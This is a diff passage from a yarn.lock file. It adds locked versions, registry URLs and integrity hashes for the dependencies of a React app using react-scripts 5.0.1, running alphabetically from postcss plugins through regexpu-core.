+    autoprefixer "^10.4.13"
+    browserslist "^4.21.4"
+    css-blank-pseudo "^3.0.3"
+    css-has-pseudo "^3.0.4"
+    css-prefers-color-scheme "^6.0.3"
+    cssdb "^7.1.0"
+    postcss-attribute-case-insensitive "^5.0.2"
+    postcss-clamp "^4.1.0"
+    postcss-color-functional-notation "^4.2.4"
+    postcss-color-hex-alpha "^8.0.4"
+    postcss-color-rebeccapurple "^7.1.1"
+    postcss-custom-media "^8.0.2"
+    postcss-custom-properties "^12.1.10"
+    postcss-custom-selectors "^6.0.3"
+    postcss-dir-pseudo-class "^6.0.5"
+    postcss-double-position-gradients "^3.1.2"
+    postcss-env-function "^4.0.6"
+    postcss-focus-visible "^6.0.4"
+    postcss-focus-within "^5.0.4"
+    postcss-font-variant "^5.0.0"
+    postcss-gap-properties "^3.0.5"
+    postcss-image-set-function "^4.0.7"
+    postcss-initial "^4.0.1"
+    postcss-lab-function "^4.2.1"
+    postcss-logical "^5.0.4"
+    postcss-media-minmax "^5.0.0"
+    postcss-nesting "^10.2.0"
+    postcss-opacity-percentage "^1.1.2"
+    postcss-overflow-shorthand "^3.0.4"
+    postcss-page-break "^3.0.4"
+    postcss-place "^7.0.5"
+    postcss-pseudo-class-any-link "^7.1.6"
+    postcss-replace-overflow-wrap "^4.0.0"
+    postcss-selector-not "^6.0.1"
+    postcss-value-parser "^4.2.0"
+
+postcss-pseudo-class-any-link@^7.1.6:
+  version "7.1.6"
+  resolved "https://registry.yarnpkg.com/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz#2693b221902da772c278def85a4d9a64b6e617ab"
+  integrity sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-reduce-initial@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz#798cd77b3e033eae7105c18c9d371d989e1382d6"
+  integrity sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==
+  dependencies:
+    browserslist "^4.21.4"
+    caniuse-api "^3.0.0"
+
+postcss-reduce-transforms@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz#333b70e7758b802f3dd0ddfe98bb1ccfef96b6e9"
+  integrity sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-replace-overflow-wrap@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz#d2df6bed10b477bf9c52fab28c568b4b29ca4319"
+  integrity sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==
+
+postcss-selector-not@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz#8f0a709bf7d4b45222793fc34409be407537556d"
+  integrity sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.4, postcss-selector-parser@^6.0.5, postcss-selector-parser@^6.0.9, postcss-selector-parser@^6.1.1, postcss-selector-parser@^6.1.2:
+  version "6.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz#27ecb41fb0e3b6ba7a1ec84fff347f734c7929de"
+  integrity sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==
+  dependencies:
+    cssesc "^3.0.0"
+    util-deprecate "^1.0.2"
+
+postcss-selector-parser@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-7.0.0.tgz#41bd8b56f177c093ca49435f65731befe25d6b9c"
+  integrity sha512-9RbEr1Y7FFfptd/1eEdntyjMwLeghW1bHX9GWjXo19vx4ytPQhANltvVxDggzJl7mnWM+dX28kb6cyS/4iQjlQ==
+  dependencies:
+    cssesc "^3.0.0"
+    util-deprecate "^1.0.2"
+
+postcss-svgo@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-svgo/-/postcss-svgo-5.1.0.tgz#0a317400ced789f233a28826e77523f15857d80d"
+  integrity sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+    svgo "^2.7.0"
+
+postcss-unique-selectors@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz#a9f273d1eacd09e9aa6088f4b0507b18b1b541b6"
+  integrity sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==
+  dependencies:
+    postcss-selector-parser "^6.0.5"
+
+postcss-value-parser@^4.0.0, postcss-value-parser@^4.1.0, postcss-value-parser@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
+  integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
+
+postcss@^7.0.35:
+  version "7.0.39"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.39.tgz#9624375d965630e2e1f2c02a935c82a59cb48309"
+  integrity sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==
+  dependencies:
+    picocolors "^0.2.1"
+    source-map "^0.6.1"
+
+postcss@^8.3.5, postcss@^8.4.33, postcss@^8.4.4, postcss@^8.4.47:
+  version "8.5.1"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.5.1.tgz#e2272a1f8a807fafa413218245630b5db10a3214"
+  integrity sha512-6oz2beyjc5VMn/KV1pPw8fliQkhBXrVn1Z3TVyqZxU8kZpzEKhBdmCFqI6ZbmGtamQvQGuU1sgPTk8ZrXDD7jQ==
+  dependencies:
+    nanoid "^3.3.8"
+    picocolors "^1.1.1"
+    source-map-js "^1.2.1"
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+prelude-ls@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
+  integrity sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==
+
+pretty-bytes@^5.3.0, pretty-bytes@^5.4.1:
+  version "5.6.0"
+  resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
+  integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
+
+pretty-error@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-4.0.0.tgz#90a703f46dd7234adb46d0f84823e9d1cb8f10d6"
+  integrity sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==
+  dependencies:
+    lodash "^4.17.20"
+    renderkid "^3.0.0"
+
+pretty-format@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-27.5.1.tgz#2181879fdea51a7a5851fb39d920faa63f01d88e"
+  integrity sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==
+  dependencies:
+    ansi-regex "^5.0.1"
+    ansi-styles "^5.0.0"
+    react-is "^17.0.1"
+
+pretty-format@^28.1.3:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-28.1.3.tgz#c9fba8cedf99ce50963a11b27d982a9ae90970d5"
+  integrity sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==
+  dependencies:
+    "@jest/schemas" "^28.1.3"
+    ansi-regex "^5.0.1"
+    ansi-styles "^5.0.0"
+    react-is "^18.0.0"
+
+process-nextick-args@~2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
+  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
+
+promise@^8.1.0:
+  version "8.3.0"
+  resolved "https://registry.yarnpkg.com/promise/-/promise-8.3.0.tgz#8cb333d1edeb61ef23869fbb8a4ea0279ab60e0a"
+  integrity sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==
+  dependencies:
+    asap "~2.0.6"
+
+prompts@^2.0.1, prompts@^2.4.2:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.2.tgz#7b57e73b3a48029ad10ebd44f74b01722a4cb069"
+  integrity sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==
+  dependencies:
+    kleur "^3.0.3"
+    sisteransi "^1.0.5"
+
+prop-types@^15.8.1:
+  version "15.8.1"
+  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz#67d87bf1a694f48435cf332c24af10214a3140b5"
+  integrity sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==
+  dependencies:
+    loose-envify "^1.4.0"
+    object-assign "^4.1.1"
+    react-is "^16.13.1"
+
+proxy-addr@~2.0.7:
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
+  integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==
+  dependencies:
+    forwarded "0.2.0"
+    ipaddr.js "1.9.1"
+
+psl@^1.1.33:
+  version "1.15.0"
+  resolved "https://registry.yarnpkg.com/psl/-/psl-1.15.0.tgz#bdace31896f1d97cec6a79e8224898ce93d974c6"
+  integrity sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==
+  dependencies:
+    punycode "^2.3.1"
+
+punycode@^2.1.0, punycode@^2.1.1, punycode@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5"
+  integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==
+
+q@^1.1.2:
+  version "1.5.1"
+  resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
+  integrity sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==
+
+qs@6.13.0:
+  version "6.13.0"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.0.tgz#6ca3bd58439f7e245655798997787b0d88a51906"
+  integrity sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==
+  dependencies:
+    side-channel "^1.0.6"
+
+querystringify@^2.1.1:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
+  integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
+
+queue-microtask@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
+
+raf@^3.4.1:
+  version "3.4.1"
+  resolved "https://registry.yarnpkg.com/raf/-/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
+  integrity sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==
+  dependencies:
+    performance-now "^2.1.0"
+
+randombytes@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
+  integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
+  dependencies:
+    safe-buffer "^5.1.0"
+
+range-parser@^1.2.1, range-parser@~1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
+  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
+
+raw-body@2.5.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.2.tgz#99febd83b90e08975087e8f1f9419a149366b68a"
+  integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==
+  dependencies:
+    bytes "3.1.2"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    unpipe "1.0.0"
+
+react-app-polyfill@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz#95221e0a9bd259e5ca6b177c7bb1cb6768f68fd7"
+  integrity sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==
+  dependencies:
+    core-js "^3.19.2"
+    object-assign "^4.1.1"
+    promise "^8.1.0"
+    raf "^3.4.1"
+    regenerator-runtime "^0.13.9"
+    whatwg-fetch "^3.6.2"
+
+react-dev-utils@^12.0.1:
+  version "12.0.1"
+  resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-12.0.1.tgz#ba92edb4a1f379bd46ccd6bcd4e7bc398df33e73"
+  integrity sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==
+  dependencies:
+    "@babel/code-frame" "^7.16.0"
+    address "^1.1.2"
+    browserslist "^4.18.1"
+    chalk "^4.1.2"
+    cross-spawn "^7.0.3"
+    detect-port-alt "^1.1.6"
+    escape-string-regexp "^4.0.0"
+    filesize "^8.0.6"
+    find-up "^5.0.0"
+    fork-ts-checker-webpack-plugin "^6.5.0"
+    global-modules "^2.0.0"
+    globby "^11.0.4"
+    gzip-size "^6.0.0"
+    immer "^9.0.7"
+    is-root "^2.1.0"
+    loader-utils "^3.2.0"
+    open "^8.4.0"
+    pkg-up "^3.1.0"
+    prompts "^2.4.2"
+    react-error-overlay "^6.0.11"
+    recursive-readdir "^2.2.2"
+    shell-quote "^1.7.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
+
+react-dom@experimental:
+  version "0.0.0-experimental-d85cf3e5-20250205"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-0.0.0-experimental-d85cf3e5-20250205.tgz#0a0c4e50ee946041f426615d96913d89bbf0340f"
+  integrity sha512-3di+xOlrOFfk/Pb3JsZA0N6Bl0zYtzl2ZQeJgLdiU4UAYqbI7OGmhVW2cR7v3Ne5sRzlZZAJaJwzW1d/PvgADw==
+  dependencies:
+    scheduler "0.0.0-experimental-d85cf3e5-20250205"
+
+react-error-overlay@^6.0.11:
+  version "6.0.11"
+  resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-6.0.11.tgz#92835de5841c5cf08ba00ddd2d677b6d17ff9adb"
+  integrity sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==
+
+react-is@^16.13.1:
+  version "16.13.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
+  integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
+
+react-is@^17.0.1:
+  version "17.0.2"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
+  integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
+
+react-is@^18.0.0:
+  version "18.3.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-18.3.1.tgz#e83557dc12eae63a99e003a46388b1dcbb44db7e"
+  integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==
+
+react-refresh@^0.11.0:
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.11.0.tgz#77198b944733f0f1f1a90e791de4541f9f074046"
+  integrity sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==
+
+react-scripts@5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/react-scripts/-/react-scripts-5.0.1.tgz#6285dbd65a8ba6e49ca8d651ce30645a6d980003"
+  integrity sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==
+  dependencies:
+    "@babel/core" "^7.16.0"
+    "@pmmmwh/react-refresh-webpack-plugin" "^0.5.3"
+    "@svgr/webpack" "^5.5.0"
+    babel-jest "^27.4.2"
+    babel-loader "^8.2.3"
+    babel-plugin-named-asset-import "^0.3.8"
+    babel-preset-react-app "^10.0.1"
+    bfj "^7.0.2"
+    browserslist "^4.18.1"
+    camelcase "^6.2.1"
+    case-sensitive-paths-webpack-plugin "^2.4.0"
+    css-loader "^6.5.1"
+    css-minimizer-webpack-plugin "^3.2.0"
+    dotenv "^10.0.0"
+    dotenv-expand "^5.1.0"
+    eslint "^8.3.0"
+    eslint-config-react-app "^7.0.1"
+    eslint-webpack-plugin "^3.1.1"
+    file-loader "^6.2.0"
+    fs-extra "^10.0.0"
+    html-webpack-plugin "^5.5.0"
+    identity-obj-proxy "^3.0.0"
+    jest "^27.4.3"
+    jest-resolve "^27.4.2"
+    jest-watch-typeahead "^1.0.0"
+    mini-css-extract-plugin "^2.4.5"
+    postcss "^8.4.4"
+    postcss-flexbugs-fixes "^5.0.2"
+    postcss-loader "^6.2.1"
+    postcss-normalize "^10.0.1"
+    postcss-preset-env "^7.0.1"
+    prompts "^2.4.2"
+    react-app-polyfill "^3.0.0"
+    react-dev-utils "^12.0.1"
+    react-refresh "^0.11.0"
+    resolve "^1.20.0"
+    resolve-url-loader "^4.0.0"
+    sass-loader "^12.3.0"
+    semver "^7.3.5"
+    source-map-loader "^3.0.0"
+    style-loader "^3.3.1"
+    tailwindcss "^3.0.2"
+    terser-webpack-plugin "^5.2.5"
+    webpack "^5.64.4"
+    webpack-dev-server "^4.6.0"
+    webpack-manifest-plugin "^4.0.2"
+    workbox-webpack-plugin "^6.4.1"
+  optionalDependencies:
+    fsevents "^2.3.2"
+
+react@experimental:
+  version "0.0.0-experimental-d85cf3e5-20250205"
+  resolved "https://registry.yarnpkg.com/react/-/react-0.0.0-experimental-d85cf3e5-20250205.tgz#9cc3334e5092713cd9827e4633d6c76c9256e4b8"
+  integrity sha512-tKNnCogN6Ly00Otm+rNQrtUyTA1pAhNNK948dmVEOso500sfEv5YjgfwVQIsptefvHtBCC4jjKw5tur518klhA==
+
+read-cache@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/read-cache/-/read-cache-1.0.0.tgz#e664ef31161166c9751cdbe8dbcf86b5fb58f774"
+  integrity sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==
+  dependencies:
+    pify "^2.3.0"
+
+readable-stream@^2.0.1:
+  version "2.3.8"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz#91125e8042bba1b9887f49345f6277027ce8be9b"
+  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
+  dependencies:
+    core-util-is "~1.0.0"
+    inherits "~2.0.3"
+    isarray "~1.0.0"
+    process-nextick-args "~2.0.0"
+    safe-buffer "~5.1.1"
+    string_decoder "~1.1.1"
+    util-deprecate "~1.0.1"
+
+readable-stream@^3.0.6:
+  version "3.6.2"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
+  integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
+  dependencies:
+    inherits "^2.0.3"
+    string_decoder "^1.1.1"
+    util-deprecate "^1.0.1"
+
+readdirp@~3.6.0:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
+  integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
+  dependencies:
+    picomatch "^2.2.1"
+
+recursive-readdir@^2.2.2:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.3.tgz#e726f328c0d69153bcabd5c322d3195252379372"
+  integrity sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==
+  dependencies:
+    minimatch "^3.0.5"
+
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
+regenerate-unicode-properties@^10.2.0:
+  version "10.2.0"
+  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz#626e39df8c372338ea9b8028d1f99dc3fd9c3db0"
+  integrity sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==
+  dependencies:
+    regenerate "^1.4.2"
+
+regenerate@^1.4.2:
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
+  integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
+
+regenerator-runtime@^0.13.9:
+  version "0.13.11"
+  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz#f6dca3e7ceec20590d07ada785636a90cdca17f9"
+  integrity sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==
+
+regenerator-runtime@^0.14.0:
+  version "0.14.1"
+  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz#356ade10263f685dda125100cd862c1db895327f"
+  integrity sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==
+
+regenerator-transform@^0.15.2:
+  version "0.15.2"
+  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.2.tgz#5bbae58b522098ebdf09bca2f83838929001c7a4"
+  integrity sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==
+  dependencies:
+    "@babel/runtime" "^7.8.4"
+
+regex-parser@^2.2.11:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.3.0.tgz#4bb61461b1a19b8b913f3960364bb57887f920ee"
+  integrity sha512-TVILVSz2jY5D47F4mA4MppkBrafEaiUWJO/TcZHEIuI13AqoZMkK1WMA4Om1YkYbTx+9Ki1/tSUXbceyr9saRg==
+
+regexp.prototype.flags@^1.5.3:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
+
+regexpu-core@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-6.2.0.tgz#0e5190d79e542bf294955dccabae04d3c7d53826"
+  integrity sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==
+  dependencies:
+    regenerate "^1.4.2"
+    regenerate-unicode-properties "^10.2.0"
+    regjsgen "^0.8.0"
+    regjsparser "^0.12.0"
+    unicode-match-property-ecmascript "^2.0.0"
